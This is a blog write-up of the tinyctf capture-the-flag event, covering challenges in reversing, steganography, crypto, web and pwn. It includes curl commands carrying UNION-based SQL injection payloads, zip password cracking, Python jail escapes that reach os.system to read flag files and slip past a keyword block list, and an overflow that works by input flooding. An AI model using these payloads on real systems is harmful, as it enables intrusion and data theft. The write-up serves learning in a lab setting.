tinyctf
was ran by @balidani and was actually a very enjoyable Jeopardy-style CTF event! I spent quite some time on the challenges and got all flags except crypto200. I kept some notes in keepnote
which I converted to this blog post. The name of each challenge was a hint for solving the challenge. The author hinted at a VM containing all the challenges, so keep you eyes peeled for that one.
misc50
Clearly, this was brainfuck
code! Yay for brainfuck
! Unfortunately, this being a CTF, I quickly entered the bf code in an online interpreter, got the flag and did not keep any notes. But yay for bf
!
misc100 aka Janos the Ripper
The zip file contained a second zip file with a password-protected file called ‘flag’. The name of course hinted strongly in the direction of John the Ripper and indeed, JtR made quick work of this password-protected zip file:
bas@tritonal:~/tools/john-1.7.9-jumbo-7/run$ ./zip2john ~/tmp/misc100 > misc100.hashes
/home/bas/tmp/misc100->flag.txt PKZIP Encr: cmplen=39, decmplen=25, crc=7788D444
bas@tritonal:~/tools/john-1.7.9-jumbo-7/run$ ./john ./misc100.hashes
Loaded 1 password hash (PKZIP [32/64])
fish (/home/bas/tmp/misc100)
guesses: 1 time: 0:00:00:00 DONE (Mon Sep 29 22:14:44 2014) c/s: 388328 trying: marisol - help
Use the "--show" option to display all of the cracked passwords reliably
flag{ev3n::y0u::bru7us?!}
web100
This challenge presents us again with a file to download, which turns out to be a heavily obfuscated javascript
file. Between the javascript statements are strange bytes values, such as 0x02
or 0x01
. These are not visible in the code below.
<script>_='function $(){e=getEleById("c").value;length==16^be0f23233ace98aa$c7be9){tfls_aie}na_h0lnrg{e_0iit\'_ns=[t,n,r,i];for(o=0;o<13;++o){ [0]);.splice(0,1)}}} \'<input id="c">< onclick=$()>Ok</>\');delete _var ","docu.)match(/"];/)!=null=[" write(s[o%4]buttonif(e.ment';for(Y in $=' ')with(_.split($[Y]))_=join(pop());eval(_)</script>
I had little luck trying to reverse this javascript. I noticed that the entire string is parsed with eval
so I just replaced it with alert
and ran the javascript. I was presented with the following code, after pulling it through jsbeautifier.org:
function $() {
var e = document.getElementById("c").value;
if (e.length == 16)
if (e.match(/^be0f23/) != null)
if (e.match(/233ac/) != null)
if (e.match(/e98aa$/) != null)
if (e.match(/c7be9/) != null) {
var t = ["fl", "s_a", "i", "e}"];
var n = ["a", "_h0l", "n"];
var r = ["g{", "e", "_0"];
var i = ["it'", "_", "n"];
var s = [t, n, r, i];
for (var o = 0; o < 13; ++o) {
document.write(s[o % 4][0]);
s[o % 4].splice(0, 1)
}
}
}
document.write('<input id="c"><button onclick=$()>Ok</button>');
delete _
So the original javascript replaces all the weird bytes and then runs this code, which obviously checks the input. If it is valid, it will unmangle the flag. I was not able to get the proper string, but who cares when I can just run:
<script>function $() {
var t = ["fl", "s_a", "i", "e}"];
var n = ["a", "_h0l", "n"];
var r = ["g{", "e", "_0"];
var i = ["it'", "_", "n"];
var s = [t, n, r, i];
for (var o = 0; o < 13; ++o) {
document.write(s[o % 4][0]);
s[o % 4].splice(0, 1)
}
}
document.write('<input id="c"><button onclick=$()>Ok</button>');</script>
flag{it's_a_h0le_in_0ne}
web200
This was a fun one. We’re presented with a webpage about rollercoasters and a search box. We can search for values in the name, park or country. This smells like SQLi. I tried a couple of things in the search box, but this got me nowhere. I viewed the source of the webpage and lo-and-behold: it looks like we can specify the column name to be searched ourselves! I switched over to curl
to check this. After a bit of fumbling around for the proper syntax, I came up with this:
bas@tritonal:~/tmp$ curl -v "http://54.69.118.120:8000/index.php" --data "value=999&column=height < 0 union select 1,2,3,4 -- #"
* About to connect() to 54.69.118.120 port 8000 (#0)
* Trying 54.69.118.120...
* connected
...snip...
<div id="content" class="whitebox">
<table>
<tr>
<th>
Name
</th>
<th>
Park
</th>
<th>
Country
</th>
<th>
Height
</th>
</tr><tr><td>1</td><td>2</td><td>3</td><td>4 m</td></tr></table>
...snip...
You can see that the webpage nicely returns the values 1, 2, 3 and 4, verifying a SQL injection. Next, I assumed MySQL and grabbed the table names:
bas@tritonal:~/tmp$ curl -v "http://54.69.118.120:8000/index.php" --data "value=999&column=height < 0 union select 1,2,table_name,0 from information_schema.tables -- #"
...snip...
<td>setup_timers</td><td>0 m</td></tr><tr><td>1</td><td>2</td><td>threads</td><td>0 m</td></tr><tr><td>1</td><td>2</td><td>flag</td><td>0 m</td></tr><tr><td>1</td><td>2</td><td>rollercoaster</td><td>0 m</td></tr></table>
...snip...
Looks like there is a table named flag
! Let’s grab column names:
bas@tritonal:~/tmp$ curl -v "http://54.69.118.120:8000/index.php" --data "value=999&column=height < 0 union select 1,2,column_name,0 from information_schema.columns where table_name = 'flag' -- #"
This returned the column hash
. Get the flag!
bas@tritonal:~/tmp$ curl -v "http://54.69.118.120:8000/index.php" --data "value=999&column=height < 0 union select 1,2,hash,0 from flag -- #"
flag{unroll_those_loops}
rev100
Unpacking the zip file gave me a file that looked like the output of xxd
:
00400080 68 66 6C 00 00 48 BF 01 00 00 00 00 00 00 00 48
00400090 8D 34 24 48 BA 02 00 00 00 00 00 00 00 48 B8 01
004000A0 00 00 00 00 00 00 00 0F 05 68 61 67 00 00 48 BF
004000B0 01 00 00 00 00 00 00 00 48 8D 34 24 48 BA 02 00
004000C0 00 00 00 00 00 00 48 B8 01 00 00 00 00 00 00 00
004000D0 0F 05 68 7B 70 00 00 48 BF 01 00 00 00 00 00 00
004000E0 00 48 8D 34 24 48 BA 02 00 00 00 00 00 00 00 48
004000F0 B8 01 00 00 00 00 00 00 00 0F 05 68 6F 70 00 00
00400100 48 BF 01 00 00 00 00 00 00 00 48 8D 34 24 48 BA
00400110 02 00 00 00 00 00 00 00 48 B8 01 00 00 00 00 00
00400120 00 00 0F 05 68 70 6F 00 00 48 BF 01 00 00 00 00
00400130 00 00 00 48 8D 34 24 48 BA 02 00 00 00 00 00 00
00400140 00 48 B8 01 00 00 00 00 00 00 00 0F 05 68 70 72
00400150 00 00 48 BF 01 00 00 00 00 00 00 00 48 8D 34 24
00400160 48 BA 02 00 00 00 00 00 00 00 48 B8 01 00 00 00
00400170 00 00 00 00 0F 05 68 65 74 00 00 48 BF 01 00 00
00400180 00 00 00 00 00 48 8D 34 24 48 BA 02 00 00 00 00
00400190 00 00 00 48 B8 01 00 00 00 00 00 00 00 0F 05 68
004001A0 7D 0A 00 00 48 BF 01 00 00 00 00 00 00 00 48 8D
004001B0 34 24 48 BA 02 00 00 00 00 00 00 00 48 B8 01 00
004001C0 00 00 00 00 00 00 0F 05 48 31 FF 48 B8 3C 00 00
004001D0 00 00 00 00 00 0F 05
Reversing the process with xxd -r
gave me a 4 MB file which didn’t really help much. Instead, looking at the address and bytes, I somehow got the feeling this was assembly code. So I extracted all the bytes with some quick & dirty bash-fu (‘cause ctf):
cat rev100 |awk '{print $2$3$4$5$6$7$8$9$10$11$12$13$14$15$16$17}' | tr -d '\r\n'
68666C000048BF0100000000000000488D342448BA020000000000000048B80...snip...
Now radare2
comes to the rescue again! Notice the -b 64
flag to specify x64 code.
bas@tritonal:~/tmp$ rasm2 -b 64 -d "68666C000048BF0100000000000000488D342448BA020000000000000048B801000000000000000F05686167000048BF0100000000000000488D342448BA020000000000000048B801000000000000000F05687B70000048BF0100000000000000488D342448BA020000000000000048B801000000000000000F05686F70000048BF0100000000000000488D342448BA020000000000000048B801000000000000000F0568706F000048BF0100000000000000488D342448BA020000000000000048B801000000000000000F05687072000048BF0100000000000000488D342448BA020000000000000048B801000000000000000F05686574000048BF0100000000000000488D342448BA020000000000000048B801000000000000000F05687D0A000048BF0100000000000000488D342448BA020000000000000048B801000000000000000F054831FF48B83C000000000000000F05"
push dword 0x6c66
mov rdi, 0x1
lea rsi, [rsp]
mov rdx, 0x2
mov rax, 0x1
syscall
push dword 0x6761
mov rdi, 0x1
lea rsi, [rsp]
mov rdx, 0x2
mov rax, 0x1
syscall
..snip...
push dword 0xa7d
mov rdi, 0x1
lea rsi, [rsp]
mov rdx, 0x2
mov rax, 0x1
syscall
xor rdi, rdi
mov rax, 0x3c
syscall
Looks like it wants to use syscall to print characters to the screen. Instead, I extract the values:
bas@tritonal:~/tmp$ rasm2 -b 64 -d "68666C000048BF0100000000000000488D342448BA020000000000000048B801000000000000000F05686167000048BF0100000000000000488D342448BA020000000000000048B801000000000000000F05687B70000048BF0100000000000000488D342448BA020000000000000048B801000000000000000F05686F70000048BF0100000000000000488D342448BA020000000000000048B801000000000000000F0568706F000048BF0100000000000000488D342448BA020000000000000048B801000000000000000F05687072000048BF0100000000000000488D342448BA020000000000000048B801000000000000000F05686574000048BF0100000000000000488D342448BA020000000000000048B801000000000000000F05687D0A000048BF0100000000000000488D342448BA020000000000000048B801000000000000000F054831FF48B83C000000000000000F05" | grep "push dword" |awk '{print $3}'
0x6c66
0x6761
0x707b
0x706f
0x6f70
0x7270
0x7465
0xa7d
xxd -p -r
helps to read these bytes.
flag{poppopret}
rev200
This was an annoying challenge. I sort of knew what to do, but couldn’t get the proper tools running. The zip file seems to contain an APK file. I tried to run it in an emulator, but did not succeed. I tried four different disassembler and struck gold with android-apktool. This tool could disassemble the APK file:
java -jar apktool.jar -d ./rev200.apk
Grepping the files for ‘flag’ only returned a string id starting with “0x7f0..” but this was of no use. I started looking at each file, but one stuck out:
bas@tritonal:~/tmp/apktool1.5.2/rev200/smali/ctf/crackme$ cat FlagActivity.smali
.class public Lctf/crackme/FlagActivity;
.super Landroid/app/Activity;
.source "FlagActivity.java"
...snip...
.line 20
.end local v2 #flagText:Landroid/widget/TextView;
:cond_0
aget v4, v0, v3
int-to-char v4, v4
invoke-static {v4}, Ljava/lang/String;->valueOf(C)Ljava/lang/String;
move-result-object v4
invoke-virtual {v1, v4}, Ljava/lang/String;->concat(Ljava/lang/String;)Ljava/lang/String;
move-result-object v1
.line 19
add-int/lit8 v3, v3, 0x1
goto :goto_0
.line 17
nop
:array_0
.array-data 0x4
0x66t 0x0t 0x0t 0x0t
0x6ct 0x0t 0x0t 0x0t
0x61t 0x0t 0x0t 0x0t
0x67t 0x0t 0x0t 0x0t
0x7bt 0x0t 0x0t 0x0t
0x77t 0x0t 0x0t 0x0t
0x34t 0x0t 0x0t 0x0t
0x6et 0x0t 0x0t 0x0t
0x6et 0x0t 0x0t 0x0t
0x34t 0x0t 0x0t 0x0t
0x5ft 0x0t 0x0t 0x0t
0x6at 0x0t 0x0t 0x0t
0x34t 0x0t 0x0t 0x0t
0x72t 0x0t 0x0t 0x0t
0x5ft 0x0t 0x0t 0x0t
0x6dt 0x0t 0x0t 0x0t
0x79t 0x0t 0x0t 0x0t
0x5ft 0x0t 0x0t 0x0t
0x64t 0x0t 0x0t 0x0t
0x33t 0x0t 0x0t 0x0t
0x78t 0x0t 0x0t 0x0t
0x7dt 0x0t 0x0t 0x0t
.end array-data
.end method
flag{w4nn4_j4r_my_d3x}
rev300 “elrond32”
The challenge name was a big hint. Apparently, ‘Elrond’ is linked to Lord of the Rings. The zip file contains a Linux ELF binary. Upon running the binary, all I got was Access Denied
. Disassembling in gdb
and analysis showed that the program takes exactly one argument. The length of this string must be exactly 8, no more, no less. The program then starts to compare the values of each byte. It jumps to the relative sections of code using a jumptable. I first did:
bas@tritonal:~/tmp$ objdump -d rev300 |grep "cmp "
80483b6: 39 d8 cmp %ebx,%eax
80483d4: 39 d8 cmp %ebx,%eax
8048439: 3c 6e cmp $0x6e,%al
8048451: 3c 72 cmp $0x72,%al
8048469: 3c 64 cmp $0x64,%al
804847d: 3c 65 cmp $0x65,%al
8048491: 3c 69 cmp $0x69,%al
80484a5: 3c 61 cmp $0x61,%al
80484b9: 3c 67 cmp $0x67,%al
80484ca: 3c 73 cmp $0x73,%al
8048675: 39 fe cmp %edi,%esi
80486ac: 83 f8 ff cmp $0xffffffff,%eax
80486bf: 83 f8 ff cmp $0xffffffff,%eax
This already narrowed down the possible values for each byte quite a lot! Apparently, the program checks for the byte values “sgnrdeia”. I looked up the jumptable and started debugging the program.
gdb-peda$ x/8x 0x8048720
0x8048720: 0x0804848b 0x08048477 0x080484d5 0x08048433
0x8048730: 0x08048463 0x0804849f 0x080484b3 0x080484c4
When I was writing down the values the program was checking against, I was making a mistake and wrote down ‘in.n’. I looked at the rest of the letters and for some reason it clicked. I got lucky!
bas@tritonal:~/tmp$ ./rev300 isengard
Access granted
flag{s0me7hing_S0me7hinG_t0lki3n}
stego100
Stego can be extremely hard but also quite fun once you ‘get’ it. The zip file contained a PNG image showing the three vikings from The Lost Vikings. I did not notice any strange artifacts in the image so I ran strings
on the image just to be sure.
bas@tritonal:~/tmp$ strings stego100
LdfO;
#tEXthint
http://i.imgur.com/22kUrzm.png
IEND
Hmm. Another PNG? It looked like the exact same image, but the file sizes differed. I tried to subtract the second image from the first in GIMP but that didn’t work. I spent quite some time on it and I finally got it using imagemagick
:
compare 22kUrzm.png stego100 diff.png
This created a difference file from both PNGs. This file had a very obvious QR code:
Scanning this QR code with a smartphone yielded flag{#justdiffit}
cry100
The first and easiest crypto challenge. The zip file contained a text file with the following content:
XMVZGC RGC AMG RVMG HGFGMQYCD VT VWM BYNO, NSVWDS NSGO RAO XG UWFN AF
HACDGMVWF. AIRVFN AII AMG JVRRVC-XVMC, FYRBIG TVIZ ESV SAH CGQGM XGGC
RVMG NSAC A RYIG TMVR NSG SVWFG ESGMG NSGO EGMG XVMC WCNYI NSG HAO
FVRG IVMH JARG MVWCH NV NAZG NSGR VTT NV EAM. OVWM TIAD YF "CV NSYF
YF CVN JMOBNV RO HGAM", YC IVEGMJAFG, EYNS WCHGMFJVMGF YCFNGAH VT
FBAJGF, FWMMVWCHGH XO NSG WFWAI "TIAD" NAD ACH JWMIO XMAJGF. GCUVO.
This looked like either a Caesar cipher or a substitution cipher. Luckily, online solvers exist.
BROKEN MEN ARE MORE DESERVING OF OUR PITY, THOUGH THEY MAY BE JUST AS DANGEROUS. ALMOST ALL ARE COMMON-BORN, SIMPLE FOLK WHO HAD NEVER BEEN MORE THAN A MILE FROM THE HOUSE WHERE THEY WERE BORN UNTIL THE DAY SOME LORD CAME ROUND TO TAKE THEM OFF TO WAR. YOUR FLAG IS 'NO THIS IS NOT CRYPTO MY DEAR', IN LOWERCASE, WITH UNDERSCORES INSTEAD OF SPACES, SURROUNDED BY THE USUAL 'FLAG' TAG AND CURLY BRACES. ENJOY.
flag{no_this_is_not_crypto_my_dear}
cry300
A fun one! I read PoC||GTFO a lot, and the name of the challenge and the file screamed electronic coloring book
. For more info, grab a copy of PoC||GTFO 0x05 from a neighbourly neighbour. The idea is that the image file, a 4k still, is encrypted with ECB, but this block cipher is very bad a encrypting. Repeated blocks can be ‘colored’ in using this script.
bas@tritonal:~/tmp$ python colorbook.py -x 3840 ecb.bmp
The image is still a bit mangled, but after flipping the image vertically, the flag is legible:
flag{no_penguin_here}
pwn200
A python jail! This reminded me of the CSAW python jail, but simpler. Upon connecting to the ip address, the user is dropped in a python shell. However, we can’t use commands that contain
prohibited_keywords = [
"import",
"open",
"flag",
"eval",
"exec"
]
Now, we wanna read the flag somehow. I found this writeup to be very helpful. I followed that approach, abusing ().__class__.__base__.__subclasses__()
to finally call os
. I still have no profound understanding of breaking python jails, but this and the CSAW example definitely helped.
bas@tritonal:~$ nc 54.69.118.120 6000
Welcome to Safe Interactive CPython Shell (SICS)
================================================
Rules:
- Wash your dishes
- Don't eat the yellow snow
- Do not import anything
- No peeking at files!
baby@sics:~$
().__class__.__base__.__subclasses__()
[<type 'type'>, <type 'weakref'>, <type 'weakcallableproxy'>, <type 'weakproxy'>, <type 'int'>, <type 'basestring'>, <type 'bytearray'>, <type 'list'>, <type 'NoneType'>, <type 'NotImplementedType'>, <type 'traceback'>, <type 'super'>, <type 'xrange'>, <type 'dict'>, <type 'set'>, <type 'slice'>, <type 'staticmethod'>, <type 'complex'>, <type 'float'>, <type 'buffer'>, <type 'long'>, <type 'frozenset'>, <type 'property'>, <type 'tuple'>, <type 'enumerate'>, <type 'reversed'>, <type 'code'>, <type 'frame'>, <type 'builtin_function_or_method'>, <type 'instancemethod'>, <type 'function'>, <type 'classobj'>, <type 'dictproxy'>, <type 'generator'>, <type 'getset_descriptor'>, <type 'wrapper_descriptor'>, <type 'instance'>, <type 'ellipsis'>, <type 'member_descriptor'>, <type 'sys.floatinfo'>, <type 'EncodingMap'>, <type 'sys.flags'>, <type 'exceptions.BaseException'>, <type 'module'>, <type 'imp.NullImporter'>, <type 'zipimport.zipimporter'>, <type 'posix.stat_result'>, <type 'posix.statvfs_result'>, <class 'warnings.WarningMessage'>, <class 'warnings.catch_warnings'>, <class '_abcoll.Hashable'>, <type 'classmethod'>, <class '_abcoll.Iterable'>, <class '_abcoll.Sized'>, <class '_abcoll.Container'>, <class '_abcoll.Callable'>, <class 'site._Printer'>, <class 'site._Helper'>, <type 'pwd.struct_passwd'>, <type 'file'>, <class 'site.Quitter'>, <class 'codecs.IncrementalEncoder'>, <class 'codecs.IncrementalDecoder'>]
baby@sics:~$
().__class__.__base__.__subclasses__()[49]
<class 'warnings.catch_warnings'>
baby@sics:~$
().__class__.__base__.__subclasses__()[49].__init__.func_globals["linecache"].__dict__['os'].system('cat /home/pybaby/flag')
#rekt
baby@sics:~$
().__class__.__base__.__subclasses__()[49].__init__.func_globals["linecache"].__dict__['os'].system('cat /home/pybaby/flag.txt')
#rekt
baby@sics:~$
().__class__.__base__.__subclasses__()[49].__init__.func_globals["linecache"].__dict__['os'].system('cat /home/pybaby/f*')
flag{python_sandboxing:_harder_than_teaching_your_mom_dota}0
flag{python_sandboxing:_harder_than_teaching_your_mom_dota}
I just figured out another way to beat this one, using __builtins__
. First, we need to get a way to call open
without actually using the phrase ‘open’. We can display all the builtin functions like so:
__builtins__.__dict__.keys()
baby@sics:~$ ['bytearray', 'IndexError', 'all', 'help', 'vars', 'SyntaxError', 'unicode', 'UnicodeDecodeError', 'isinstance', 'copyright', 'NameError', 'BytesWarning', 'dict', 'input', 'oct', 'bin', 'SystemExit', 'StandardError', 'format', 'repr', 'sorted', 'False', 'RuntimeWarning', 'list', 'iter', 'reload', 'Warning', '__package__', 'round', 'dir', 'cmp', 'set', 'bytes', 'reduce', 'intern', 'issubclass', 'Ellipsis', 'EOFError', 'locals', 'BufferError', 'slice', 'FloatingPointError', 'sum', 'getattr', 'abs', 'exit', 'print', 'True', 'FutureWarning', 'ImportWarning', 'None', 'hash', 'ReferenceError', 'len', 'credits', 'frozenset', '__name__', 'ord', 'super', 'TypeError', 'license', 'KeyboardInterrupt', 'UserWarning', 'filter', 'range', 'staticmethod', 'SystemError', 'BaseException', 'pow', 'RuntimeError', 'float', 'MemoryError', 'StopIteration', 'globals', 'divmod', 'enumerate', 'apply', 'LookupError', 'open', 'quit', 'basestring', 'UnicodeError', 'zip', 'hex', 'long', 'next', 'ImportError', 'chr', 'xrange', 'type', '__doc__', 'Exception', 'tuple', 'UnicodeTranslateError', 'reversed', 'UnicodeEncodeError', 'IOError', 'hasattr', 'delattr', 'setattr', 'raw_input', 'SyntaxWarning', 'compile', 'ArithmeticError', 'str', 'property', 'GeneratorExit', 'int', '__import__', 'KeyError', 'coerce', 'PendingDeprecationWarning', 'file', 'EnvironmentError', 'unichr', 'id', 'OSError', 'DeprecationWarning', 'min', 'UnicodeWarning', 'execfile', 'any', 'complex', 'bool', 'ValueError', 'NotImplemented', 'map', 'buffer', 'max', 'object', 'TabError', 'callable', 'ZeroDivisionError', 'eval', '__debug__', 'IndentationError', 'AssertionError', 'classmethod', 'UnboundLocalError', 'NotImplementedError', 'AttributeError', 'OverflowError']
On my system, the 80th value is ‘open’, but on the remote server, it’s the 78th. Difference in Python version? Anyway, we can now call the fuction ‘open’ like so and avoid the filter by using string concatenation:
__builtins__.__dict__[__builtins__.__dict__.keys()[78]]('/home/pybaby/fl'+'ag').readlines()
pwn300
By far the easiest 300 point challenge. Again, we’re given an ip address. Upon connecting I did what I always do:
bas@tritonal:~$ nc 54.69.118.120 7000
Welcome to Google Gamble.
=========================
Google Gamble is easy. Guess the card drawn
from the deck and double your money! Make it all
the way to $1048576 to get a flag! Good luck!
Your current balance: 1$
Select an option:
1. Guess a card
2. Get the flag
3. Quit
1
Please enter your guess: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
The computer picked AAAAAAAAAAAA� (Valet!)
Congrats, you won this round!
Your current balance: 2$
Select an option:
1. Guess a card
2. Get the flag
3. Quit
Please enter your guess: The computer picked AAAAAAAAAAAA
Congrats, you won this round!
Your current balance: 4$
Select an option:
1. Guess a card
2. Get the flag
3. Quit
Please enter your guess: The computer picked AAAAAA
�
Congrats, you won this round!
Your current balance: 8$
I have the sick tendency to either supply SQL injections or large repeats of ‘A’. Apparently, this program checks the guess of the user versus some precomputed value. However, the large input overwrites this precomputed value. The check will always be true and the money doubles. I just rinsed & repeated until I had enough to extract the flag:
Select an option:
1. Guess a card
2. Get the flag
3. Quit
Please enter your guess: The computer picked AAAAAA
�
Congrats, you won this round!
Your current balance: 16777216$
Select an option:
1. Guess a card
2. Get the flag
3. Quit
2
Here is your well-deserved prize: flag{valet_knekt_jack_jumbo}
Congratulations!
Good bye!
flag{valet_knekt_jack_jumbo}
And that was it! I hope there’s more of this tinyctf
to come!